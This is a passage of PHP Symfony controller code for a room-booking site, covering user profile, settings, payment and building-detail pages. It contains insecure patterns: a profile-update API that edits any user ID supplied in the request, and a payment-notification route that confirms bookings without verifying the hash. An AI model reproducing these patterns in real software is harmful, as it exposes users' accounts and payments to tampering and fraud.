$emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; private $entityManager; private $urlGenerator; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, ChartBuilderInterface $chartBuilder, TokenStorageInterface $tokenStorage, EntityManagerInterface $entityManager, SessionInterface $session, UrlGeneratorInterface $urlGenerator, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->chartBuilder = $chartBuilder; $this->session = $session; $this->urlGenerator = $urlGenerator; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $entityManager; } /** * @Route("/user/profile", name="app_user_profile") */ public function index(Request $request): Response { $local=$request->getLocale(); $language=""; $onlinePath=$request->getBasePath(); if(strcmp($local,"fr")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language' style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/french_flag.png\" style=\"height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> Français</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Anglais</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Espagnol</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Italien</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Chinois</a></li> '; }else if(strcmp($local,"es")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language' style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/flag_spanish.png\" style=\"height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> Español</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Francés</a></li> <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Inglés</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Italiano</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Chinise</a></li> '; }else if (strcmp($local,"en")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language'style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/flag_england.png\" style=\"height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> English</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> French</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Italiano</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Chinise</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Spanish</a></li>'; }else if (strcmp($local,"it")==0) { $language=" <a href=\"#\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language'style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/italiano_flag.png\" style=\"height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> Italiano</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Francese</a></li> <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> inglese</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Cinese</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Spagnolo</a></li>'; }else if (strcmp($local,"zh_CN")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language'style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/china_flag.png\" style=\"height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> 中國人</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 法語</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 意大利語</a></li> <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 中國人</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 西班牙語</a></li>'; } $user=$this->entityManager->getRepository(User::class)->findOneBySomeField($this->getUser()->getUsername()); $logs=$this->entityManager->getRepository(Logs::class)->findBy(['user'=>$user->getId()], ['createdAt' => 'DESC']); return $this->render('user_profile/user_profile.html.twig', [ 'controller_name' => 'UserProfileController', 'languageChoose' => $body, 'host'=>$this->siteURL(), 'onlinePath' => $onlinePath, 'language' => $language, 'user'=>$user, 'logs'=>$logs, 'countries'=>$this->entityManager->getRepository(Country::class)->findAll(), 'towns'=>$this->entityManager->getRepository(Town::class)->findAll(), ]); } function siteURL() { $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://"; $domainName = $_SERVER['HTTP_HOST']; return $protocol.$domainName; } /** * @Route("/api/v1/user_profile/update", name="app_user_profile_update") */ public function updateUserData(Request $request) { $data = json_decode($request->getContent(), true); $lastName = $data['lastName']; $firstName = $data['firstName']; $email = $data['email']; $location = $data['location']; $town = $data['town']; $userId = $data['userId']; $phoneNumber = $data['phoneNumber']; if(isset($userId)){ $user=$this->entityManager->getRepository(User::class)->find($userId); if(is_null($user->getAddress())){ $address=new Address(); if(isset($town)){ $town=$this->entityManager->getRepository(Town::class)->find($town); $address->setTown($town); } $address->setLocation($location); $address->setPhone($phoneNumber); $this->entityManager->persist($address); $user->setAddress($address); } $user->setLastName($lastName); $user->setFirstName($firstName); $user->setPhoneNumber($phoneNumber); $this->entityManager->persist($user); $this->entityManager->flush(); return new JsonResponse(json_encode( array( "data"=>$data, ) ), Response::HTTP_OK); }else{ return new JsonResponse(json_encode( array( "data"=>$data, ) ), Response::HTTP_NOT_FOUND); } } } Controller/UserSettingController.php 0000644 00000024354 15117152230 0013725 0 ustar 00 <?php namespace App\Controller; use App\Entity\Country; use App\Entity\Logs; use App\Entity\Town; use App\Entity\User; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Routing\Annotation\Route; use Symfony\Component\Routing\Generator\UrlGeneratorInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; use Symfony\UX\Chartjs\Builder\ChartBuilderInterface; class UserSettingController extends AbstractController { /** * @Route("/user/setting", name="app_user_setting") */ private $chartBuilder; private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; private $entityManager; private $urlGenerator; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, ChartBuilderInterface $chartBuilder, TokenStorageInterface $tokenStorage, EntityManagerInterface $entityManager, SessionInterface $session, UrlGeneratorInterface $urlGenerator, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->chartBuilder = $chartBuilder; $this->session = $session; $this->urlGenerator = $urlGenerator; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $entityManager; } /** * @Route("/user/setting", name="app_user_setting") */ public function index(Request $request): Response { $local=$request->getLocale(); $language=""; $onlinePath=$request->getBasePath(); if(strcmp($local,"fr")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language' style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/french_flag.png\" style=\"height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> Français</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Anglais</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Espagnol</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Italien</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Chinois</a></li> '; }else if(strcmp($local,"es")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language' style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/flag_spanish.png\" style=\"height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> Español</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Francés</a></li> <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Inglés</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Italiano</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Chinise</a></li> '; }else if (strcmp($local,"en")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language'style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/flag_england.png\" style=\"height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> English</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> French</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Italiano</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Chinise</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Spanish</a></li>'; }else if (strcmp($local,"it")==0) { $language=" <a href=\"#\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language'style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/italiano_flag.png\" style=\"height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> Italiano</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Francese</a></li> <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> inglese</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Cinese</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Spagnolo</a></li>'; }else if (strcmp($local,"zh_CN")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language'style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/china_flag.png\" style=\"height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> 中國人</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 法語</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 意大利語</a></li> <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 中國人</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 西班牙語</a></li>'; } $user=$this->entityManager->getRepository(User::class)->findOneBySomeField($this->getUser()->getUsername()); $logs=$this->entityManager->getRepository(Logs::class)->findBy(['user'=>$user->getId()], ['createdAt' => 'DESC']); return $this->render('user_setting/user_setting.html.twig', [ 'controller_name' => 'UserSettingController', 'languageChoose' => $body, 'host'=>$this->siteURL(), 'onlinePath' => $onlinePath, 'language' => $language, 'user'=>$user, 'logs'=>$logs, 'countries'=>$this->entityManager->getRepository(Country::class)->findAll(), 'towns'=>$this->entityManager->getRepository(Town::class)->findAll(), ]); } function siteURL() { $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://"; $domainName = $_SERVER['HTTP_HOST']; return $protocol.$domainName; } } Controller/UserSpaceBookingController.php 0000644 00000001032 15117152230 0014640 0 ustar 00 <?php namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\Routing\Annotation\Route; class UserSpaceBookingController extends AbstractController { /** * @Route("/user/space/booking", name="app_user_space_booking") */ public function index(): Response { return $this->render('user_space_booking/index.html.twig', [ 'controller_name' => 'UserSpaceBookingController', ]); } } Controller/UserSpacePreferenceController.php 0000644 00000001051 15117152230 0015327 0 ustar 00 <?php namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\Routing\Annotation\Route; class UserSpacePreferenceController extends AbstractController { /** * @Route("/user/space/preference", name="app_user_space_preference") */ public function index(): Response { return $this->render('user_space_preference/index.html.twig', [ 'controller_name' => 'UserSpacePreferenceController', ]); } } Controller/PaymentController.php 0000644 00000013605 15117152230 0013063 0 ustar 00 <?php namespace App\Controller; use App\Entity\BookingRoom; use App\Entity\Country; use App\Entity\Payment; use App\Entity\PaymentOption; use App\Entity\PaymentProvider; use App\Entity\Room; use App\Entity\Visitor; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\JsonResponse; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Routing\Annotation\Route; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; class PaymentController extends AbstractController { private $emailVerifier; private $requestStack; private $tokenStorage; private $eventDispatcher; private $session; protected $entityManager; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, EntityManagerInterface $em, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->eventDispatcher = $eventDispatcher; $this->entityManager = $em; } /** * @Route({"es": "/payment/{token}","en": "/payment/{token}"}, name="app_payment") */ public function index(Request $request): Response { $tokenRef=json_decode(base64_decode($request->get("token"))); $booking=$this->entityManager->getRepository(BookingRoom::class)->find($tokenRef->booking); $payment=$this->entityManager->getRepository(Payment::class)->findOneBy(["transactionRef"=>$tokenRef->ref]); // dd($this->entityManager->getRepository(Country::class)->findAll()); return $this->render('payment/index.html.twig', [ 'controller_name' => 'PaymentController', 'companyName' => $this->getParameter("app_client"), 'host'=>$this->siteURL(), 'tokenData'=>$tokenRef, "token"=>$request->get("token"), 'booking'=>$booking, 'payment'=>$payment, 'domain'=>$this->getParameter("app_domain"), 'visitor' =>$this->entityManager->getRepository(Visitor::class)->findOneBy(["webAgent"=>$_SERVER['HTTP_USER_AGENT']]), 'paymentProviders'=> $this->entityManager->getRepository(PaymentProvider::class)->findAll(), 'countries'=> $this->entityManager->getRepository(Country::class)->findAll(), ]); } /** * @Route({"es": "/payment_notify","en": "/payment_notify"}, name="app_payment_notify") */ public function notifyPayment(Request $request){ $idReqDoh= $request->get("idReqDoh"); $rDvs= $request->get("rDvs"); $amount= $request->get("rMt"); $provider= $request->get("mode"); $transactionRef= $request->get("rI"); $transactionHash= $request->get("hash"); $payment=$this->entityManager->getRepository(Payment::class)->findOneBy(["transactionRef"=>$transactionRef]); if(!is_null($payment)){ $room=$this->entityManager->getRepository(Room::class)->find($payment->getBooking()->getRoom()->getId()); $room->setIsFree(true); $booking=$this->entityManager->getRepository(BookingRoom::class)->find($payment->getBooking()->getId()); $booking->getPayment()->setPaymentOption( $this->entityManager->getRepository(PaymentOption::class)->findOneBy(array('isCash'=>true))); $booking->setPaymentAsBeenConfirmed(true); $payment->setIdReqDoh($idReqDoh); $payment->setRDvs($rDvs.$provider); $payment->setAmountValidated($amount); $payment->setUpdateAt(new \DateTimeImmutable()); $this->entityManager->persist($room); $this->entityManager->persist($booking); $this->entityManager->persist($payment); $this->entityManager->flush(); $this->addFlash("success","payment confirm, amount: ".$amount.", with ref: ".$idReqDoh); } return new JsonResponse( array( "idReqDoh"=> $idReqDoh, "transaction"=> $transactionRef, "amount"=> $amount ), Response::HTTP_OK ); } function siteURL() { $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://"; $domainName = $_SERVER['HTTP_HOST']; return $protocol.$domainName; } /** * @Route("/api/v1/payment_option_update", name="payment_option_update") */ public function updatePaymentOption(Request $request){ $data = json_decode($request->getContent(), true); $provider= $data['idOption']; $tokenRef= $data['token']; $tokenRef=json_decode(base64_decode($tokenRef)); $payment=$this->entityManager->getRepository(Payment::class)->findOneBy(["transactionRef"=>$tokenRef->ref]); $payment->setPaymentOption($this->entityManager->getRepository(PaymentOption::class)->find($provider)); $this->entityManager->persist($payment); $this->entityManager->flush(); return new JsonResponse( array( "provider"=> $provider, "payment"=> $payment->getPaymentOption()->getPaymentName(), ), Response::HTTP_OK ); } } Controller/BuildingDetailController.php 0000644 00000025561 15117152230 0014332 0 ustar 00 <?php namespace App\Controller; use App\Entity\Actualite; use App\Entity\Building; use App\Entity\BuildingType; use App\Entity\Town; use App\Security\EmailVerifier; use DateTime; use Doctrine\ORM\EntityManagerInterface; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\Routing\Annotation\Route; class BuildingDetailController extends AbstractController { private $emailVerifier; private $entityManager; public function __construct(EmailVerifier $emailVerifier, EntityManagerInterface $entityManager) { $this->emailVerifier = $emailVerifier; $this->entityManager = $entityManager; } /** * @Route("/building/detail", name="app_building_detail") */ public function index(Request $request): Response { try{ $town=$request->get("destination"); }catch (\Exception $exception){ $this->addFlash('error',"Town not selected"); $this->redirectToRoute('app_home'); } $buildingType=$request->get("buildingType"); $startDate=$request->get("startDate"); $endDate=$request->get("endDate"); $adult=$request->get("adult"); $child=$request->get("child"); $date1 = new DateTime($startDate); $date2 = new DateTime($endDate); $interval = $date1->diff($date2); $local=$request->getLocale(); $language=""; $onlinePath=$request->getBasePath(); $updateTown=$this->entityManager->getRepository(Town::class)->find($town); if(!is_null($updateTown)){ $updateTown->setVues($updateTown->getVues()+1); $this->entityManager->persist($updateTown); $this->entityManager->flush(); } if(strcmp($local,"fr")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language' style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/french_flag.png\" style=\"height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> Français</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Anglais</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Espagnol</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Italien</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Chinois</a></li> '; }else if(strcmp($local,"es")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language' style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/flag_spanish.png\" style=\"height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> Español</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Francés</a></li> <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Inglés</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Italiano</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Chinise</a></li> '; }else if (strcmp($local,"en")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language'style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/flag_england.png\" style=\"height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> English</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> French</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Italiano</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Chinise</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Spanish</a></li>'; }else if (strcmp($local,"it")==0) { $language=" <a href=\"#\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language'style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/italiano_flag.png\" style=\"height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> Italiano</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Francese</a></li> <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> inglese</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Cinese</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Spagnolo</a></li>'; }else if (strcmp($local,"zh_CN")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language'style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/china_flag.png\" style=\"height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> 中國人</a>"; $body=' <li> <a 